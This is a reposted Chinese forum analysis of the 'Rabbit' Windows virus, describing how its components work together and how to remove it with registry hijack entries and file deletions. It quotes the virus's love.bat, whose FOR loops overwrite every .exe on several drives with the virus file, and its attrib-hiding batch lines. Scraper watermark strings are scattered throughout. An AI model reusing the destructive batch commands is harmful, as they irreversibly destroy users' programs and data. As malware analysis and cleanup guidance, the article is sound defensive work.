[转贴]兔子病毒的分工工作模式和清理方法

工作模式：51Testing软件测试网 FUc@4_ IN

z*F
S@ K0兔子的几个文件之间存在明显的分工合作关系：
)b+L MTI/U0sm F'v051Testing软件测试网8hA#{ Be7KF6P)v
当病毒原文件Rabbit.exe被执行后，会在system32下释放出loveRabbit.exe、jk.exe和love.bat，并执行loveRabbit.exe和love.bat51Testing软件测试网$C_*|GB/eS1K
51Testing软件测试网"bh9wO$F'm
先看看下面love.bat的内容吧，列出defgh分区和program files的exe文件的列表c:\windows\下的msconfig.inf和msconfig1.inf，并用两个for命令调用copy命令把列表中的exe文件全部用Rabbit.exe替换掉！需要知道这个行为比熊猫和硬盘杀手还有恨，这样丢失的数据基本上是找不回来的！51Testing软件测试网/FBwLT9xY

dxx1lH6B
P0FOR   %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf
v[s4ib`0cd C:\Program Files
Qz3[OU:Xgf"b0dir *.exe /s /b >>c:\windows\msconfig1.inf51Testing软件测试网7i$\uA"f
FOR   /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
*gP%~ob)H,JY%RX @i0FOR   /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"51Testing软件测试网G YR8O-M2R.F

)qrH6]6^2n(qv0G051Testing软件测试网Oc F%^2Oa
其中loveRabbit.exe是比较关键的一个进程，这个病毒的大部分工作是由它做的，它负责在system32下生成msexch400.dll并插入winlogon.exe进程；不断生成loveRabbit.bat和DEFG分区根目录下面的autorun.inf文件，并执行不断loveRabbit.bat；
2F'Q4@zF:m0删除注册表项HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}和HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}，不断添加注册表项HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{4bf41072-b2b1-21c1-b5c1-0305f4155515}\StubPath；而且它还能关闭icesword和sreng等安全软件；它还能对安全模式的键值作出检查，如被修复了它立刻删除相关键值；51Testing软件测试网 u$aJ+P0p)X7Ol

J)gg'g0`R_f0另外一个批处理就是被loveRabbit.exe不断执行的loveRabbit.bat，作用是不断的将病毒文件设置系统和隐藏属性；51Testing软件测试网+s;zIz+J8fnR!p`

@4G&q,II-vr0attrib +s +h C:\WINDOWS\system32\msexch400.dll51Testing软件测试网'n'Q1N,Y+A3~.r!\
attrib +s +h d:\Rabbit.exe
bh1p}E0attrib +s +h e:\Rabbit.exe51Testing软件测试网 ^Y#h.a2VPjH
attrib +s +h c:\Rabbit.exe51Testing软件测试网7nS j:nG
attrib +s +h f:\Rabbit.exe
0rU2yi+tL.j(^%_0attrib +s +h g:\Rabbit.exe51Testing软件测试网7KE-eq#h$CNH[^g
attrib +s +h h:\Rabbit.exe51Testing软件测试网KRJBPg
attrib +s +h e:\AutoRun.inf
d1@(D;x3A\U;S0attrib +s +h f:\AutoRun.inf51Testing软件测试网QHO+^o
attrib +s +h c:\AutoRun.inf
-] P'x t[!xfW"`0attrib +s +h d:\AutoRun.inf
:j3W3m{d3I.I
v!x@0attrib +s +h h:\AutoRun.inf51Testing软件测试网 k8S^LPN
attrib +s +h g:\AutoRun.inf

*g:Quf,P051Testing软件测试网OLIK6yH
而被插入msexch400.dll模块的winlogon.exe的线程数会不断上升，干扰正常的关机和注销，并在loveRabbit.exe被结束时由winlogon.exe重新启动；51Testing软件测试网$Kk O.i:c^

%svR et?0至于jk.exe的工作就简单多了，它运行后会检查loverabbit.exe是否被关闭，如关闭了就重新运行它，之后便退出，是用于系统启动时激活病毒的进程；51Testing软件测试网4|'}v^Dys]+qP
51Testing软件测试网;r&QE4oG:se.M
还有就是在各个分区下面的autorun.inf和rabbit.exe，用于双击进入分区时重新激活病毒；
]W'k7Q*d/N3B0
OV[dG0?
R0明显的分工，编写者的思路很清晰，启动用的jk.exe、主要工作进程loverabbit.exe、插入模块msexch400.dll和两个bat文件等，各有各做的事情，合作起来使得运行后病毒很难会被结束掉；
0s4Zb(a3p Pa2{!f2^Rh0B&]y0
"V.c@V5p3G6XtS0
q$RpAB(WV'a9`0
]0V1X%E5v\ sN3E [0清理办法：51Testing软件测试网.x+tu3K~|
51Testing软件测试网7_(Dz1Z1y
由于它的进程守护太好了，要关闭它实在不容易，而且安全模式被破坏了，就只有令想办法了……
3u-L
T8Rbrn0方法一：但这个病毒有个疏忽的地方，就是jk.exe不能靠loverabbit.exe进行修复，而这个是系统启动是激活病毒用的，这就给了我们一个激活了；首先到system32文件夹下面删除jk.exe，不过病毒把系统大部分的exe文件都替换了，所有启动项里面一定要先进行清空然后才重启，由于病毒控制了winlogon.exe进程导致不能正常重启，所以我们就用不经过winlogon.exe的重启方式吧，打开任务管理器，然后按着ctrl再选择任务管理器的关机菜单里面的重启，这样就重启成功了，重启完成后正式清理；
WEh*bI*g/}d0
x#DL6K/Fs0方法二（推荐）：映象劫持，最近学回来的东西，嘻嘻；注册表文件的内容如下，将其导入注册表之后就可以正式清理了；51Testing软件测试网zh/^{8b~ls$Wg
51Testing软件测试网 K1Z'KZ7@v.\
Y
Windows Registry Editor Version 5.0051Testing软件测试网n0W1U2B@

`8z4Wd t BjVF}0[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loverabbit.exe]51Testing软件测试网r+I5V+rb*d7K7A
"Debugger"="dikex.exe"51Testing软件测试网@d%U6`-[
51Testing软件测试网}z5}Z(h0Lu1e-J Z
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rabbit.exe]
{'^gP8U&~;h0"Debugger"="dikex.exe"51Testing软件测试网9t)rb#Zg`%D

.x`(^k3G5OL5Gk0[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jk.exe]
:SE2WpaHm0"Debugger"="dikex.exe"

51Testing软件测试网+ZdB*u0Q*Z
正式清理：首先到文件夹选项把所有隐藏文件都显示出来，之后删除下面的文件，其中msexch400.dll需要重启或者使用unlocker等工具删除：
5t(N2[&n5xN[!o,W"r0C:\WINDOWS\system32\JK.exe
{y4I[Z)Y0C:\WINDOWS\system32\love.bat51Testing软件测试网s"rJ4bq3|P
C:\WINDOWS\system32\loveRabbit.bat51Testing软件测试网#S2vZ3QVFqy
C:\WINDOWS\system32\loveRabbit.exe
6O/PD%P\G6m1B0C:\WINDOWS\system32\msexch400.dll51Testing软件测试网+uBc
PC.}1X#Be
C:\WINDOWS\system32\Rabbit.exe51Testing软件测试网FH ?.I:S"ZC
g&Ow
C:\WINDOWS\msconfig.inf
*C!~2z(~KT8O0C:\WINDOWS\msconfig1.inf
N1u7d hM-A6[VR*p0各个分区根目录下面的rabbit.exe和autorun.inf文件51Testing软件测试网3DN4},f9p|(@0_
51Testing软件测试网q:R#f;ftQ1Nph;d"g
在我的电脑里面搜索*.exe，把变了兔子图标的文件全部删除（他们无法挽救的了，节哀吧……）51Testing软件测试网3k!} N/x|/A!Oj

,dLutJ7\0最后删除注册表HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\下面的{4bf41072-b2b1-21c1-b5c1-0305f4155515}，导入下面注册表信息：51Testing软件测试网R~D/~U2RC/l